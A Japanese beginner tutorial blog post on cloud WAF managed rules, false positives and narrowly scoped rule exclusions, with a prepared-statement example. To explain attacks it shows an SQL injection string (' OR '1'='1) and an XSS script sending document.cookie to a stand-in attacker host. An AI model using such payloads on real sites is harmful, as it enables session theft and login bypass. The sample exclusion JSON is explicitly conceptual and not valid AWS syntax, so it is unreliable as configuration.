こんにちは!セキュリティの世界へようこそ。
新人のIT担当者や、これからWeb開発やインフラに挑戦する皆さん、「WAF(Web Application Firewall)のルールをいじっていたら、正当なユーザーのアクセスまでブロックしてしまい、上司やユーザーからクレームが来た……」なんて焦った経験はありませんか?あるいは、「とりあえず既製品のマネージドルールを入れたものの、誤検知の嵐でどうチューニングしていいか分からない」と頭を抱えていませんか?
今回は、AWS WAFやGoogle Cloud ArmorといったクラウドWAFにおける「マネージドルール」の仕組みと、現場で必ず直面する「誤検知を減らすための除外設定」の泥臭いノウハウを、身近な防犯にたとえながら優しく紐解いていきます。
一歩ずつ、実務でそのまま使えるテクニックをマスターしていきましょう!
—
1. 家の鍵と「WAFのマネージドルール」のリアルな関係
まずは、セキュリティの基本を身近な例でイメージしてみましょう。
皆さんが住んでいる家には、玄関に頑丈な鍵(Webアプリケーション自体のバリデーションや認証機能)がついていますよね。でも、最近の空き巣は巧妙です。窓ガラスを上手に破ったり、合い鍵を作ろうとしたり、あの手この手で侵入しようとします。
そこで登場するのが、マンションのエントランスにいる「超優秀だけど、ちょっと神経質な管理人さん」です。この管理人さんこそが WAF(Web Application Firewall) です。
管理人さんは、マンションに出入りする人たちの持ち物や挙動をジロジロと監視しています。
- 「おや、その大きなバッグから怪しいバール(SQLインジェクションの攻撃コード)が見えているぞ!」
- 「その怪しい仮面(XSSのスクリプトタグ)をかぶった人は怪しい!」
このように、世の中でよくある「悪意ある手口(シグネチャ)」をあらかじめ網羅した防犯マニュアルを持っているのが、AWS WAFやCloud Armorの 「マネージドルール(基本ルールセット)」 です。クラウドベンダーやセキュリティのプロが日夜アップデートしてくれるため、これを入れるだけで、基本的なサイバー攻撃の大部分を防ぐことができます。
—
2. なぜ「誤検知」が起きるのか?(神経質な管理人さんの暴走)
この管理人さん、非常に頼もしいのですが、一つだけ弱点があります。それは「ちょっと真面目すぎて、すぐ勘違いする」ということです。
例えば、あなたが運営するECサイトで、お客様がこんなお名前で会員登録しようとしたとします。
お名前:O'Reilly (アイルランド系によくある苗字で、中にシングルクォート ' が入っています)
データベースの構造を少し知っている方ならピンとくるかもしれませんが、SQLインジェクションという攻撃では、このシングルクォート ' を悪用してデータベースをハッキングします。そのため、神経質な管理人さんはこう叫びます。
> 「待てーい! その名前に含まれている ' は、データベースを破壊する危険な記号(SQLインジェクション)に違いない! 通すわけにはいかないぞ!」
結果として、悪意のない一般のユーザー(O’Reillyさん)が、エラー画面を突きつけられて買い物できない……これが、実務でよくある「WAFの誤検知(False Positive)」の正体です。
—
3. SQLインジェクションとXSSの基本をおさらい
では、管理人さんが目を光らせている代表的な2大ターゲット、SQLインジェクションとクロスサイトスクリプティング(XSS)を、プログラムの視点から優しくおさらいしておきましょう。
① SQLインジェクションとは?
Webサイトの裏側にあるデータベース(SQL)を操作するプログラムの隙を突き、本来見せてはいけないデータを盗み見たり、改ざんしたりする攻撃です。
-- 正常なクエリのイメージ
SELECT * FROM users WHERE username = 'yamada' AND password = 'password123';
ここに攻撃者が ' OR '1'='1 のような文字列を送り込むと、条件式が常に真(True)になり、パスワードなしでログインできてしまう、というのが古典的な手口です。WAFはこの OR や記号の組み合わせを検知します。
② クロスサイトスクリプティング(XSS)とは?
掲示板やお問い合わせフォームなどの入力欄に、ブラウザで実行されてしまう悪意あるプログラム(JavaScriptなど)を紛れ込ませる攻撃です。
<!-- 入力欄にこんなタグが仕込まれることがある -->
<script>
// ユーザーのセッションクッキーを盗み出して攻撃者のサーバーに送信する悪意あるコード
fetch('https://attacker.example.com/steal?cookie=' + document.cookie);
</script>
WAFは、こうした <script> や onerror= などの怪しいHTMLタグやJavaScriptの断片がリクエストに含まれていないかを監視しています。
—
4. 現場で使える!誤検知を減らすための「除外設定」の管理手法
「じゃあ、誤検知が起きたらマネージドルールを切っちゃえばいいの?」
——これは絶対にNGです。家の鍵が面倒だからといって、玄関の鍵を全開にしておくようなものです。
実務では、マネージドルールは有効にしたまま、「特定のルールIDだけを、特定のリクエスト(URLやパラメータ)から除外する」というスマートなチューニングを行います。
ここからは、AWS WAFを例に、具体的な除外設定(Exclusion / Override)の考え方と手順を見ていきましょう。
ステップ1: ログから「犯人(ルールID)」を特定する
誤検知が発生したら、まずAWS WAFのログ(Amazon CloudWatch LogsやS3)を確認します。どのリクエストが、どのルールIDによってブロックされたのかを突き止めます。
ログの中には、次のようなヒントが隠されています。
- どのURI(例:
/contact/complete)で起きたか - どのルール(例:
SQLi_BODYやCrossSiteScripting_BODY)にひっかかったか
ステップ2: 除外ルールのスコープを極力狭くする(ここがプロの腕の見せ所!)
セキュリティの鉄則は、「穴をあけるなら、最小限のサイズにする」ことです。
「お問合せフォームの本文(commentパラメータ)だけに、SQLインジェクション検査のルールを免除する」というように、適用範囲をピンポイントで絞り込みます。
以下は、AWS WAFなどで用いられる除外設定や、アプリケーション側の入力バリデーションの概念を整理したイメージ設定です。
{
"RuleGroup": {
"Name": "CustomExclusionRuleForContactForm",
"Description": "お問い合わせフォームの特殊文字(シングルクォート等)による誤検知を防ぐためのスコープダウン設定",
"ExcludedRules": [
{
"RuleId": "AWS-DataProtection-SQLi"
/* マネージドルールの中で、特定のパラメータに対してだけこのチェックをスルーさせる */
}
],
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "ContactFormExclusionMetric"
}
}
}
ステップ3: アプリケーション側での根本対策(多層防御)
WAFのチューニングと並行して、絶対に忘れてプレッシャーをかけておきたいのがアプリケーション側の実装です。
WAFはあくまで「玄関の管理人さん」であり、家の中(プログラム)の安全まで100%保証してくれるわけではありません。データベースへの値の受け渡しには、必ずプレースホルダー(プリペアドステートメント)を使いましょう。
// 【良い例】プリペアドステートメントを使った安全な実装
// これなら、入力値にシングルクォートが含まれていても、単なる「文字列」として安全に処理されます。
$stmt = $pdo->prepare('SELECT * FROM users WHERE username = :username');
$stmt->execute(['username' => $userInput]);
$user = $stmt->fetch();
PHPやPython、Javaなどのモダンなフレームワークを使っていれば、デフォルトでこの安全な仕組みが組み込まれています。WAFのルールに頼り切るのではなく、プログラム側でもしっかりとガードを固めておく(多層防御)ことが、真に強いシステムを作る秘訣です。
—
5. おわりに:セキュリティは「対話」の連続
いかがでしたでしょうか?
WAFのチューニングやマネージドルールの扱いは、一見すると難しそうに見えますが、本質は「システムの利用者の利便性(お買い物やお問い合わせ)を損なわずに、悪意ある侵入者だけをスマートに弾き返す」というバランス調整の作業です。
最初は誤検知の通知にビクビクしてしまうかもしれませんが、「どのユーザーが、どんな正当な理由でその入力をしたのか」をログから読み解き、適切な例外設定を行っていくプロセスは、エンジニアとしての経験値をグッと上げてくれます。
焦らず、一歩ずつ、安全で快適なWebの世界を一緒に作っていきましょう!
コメント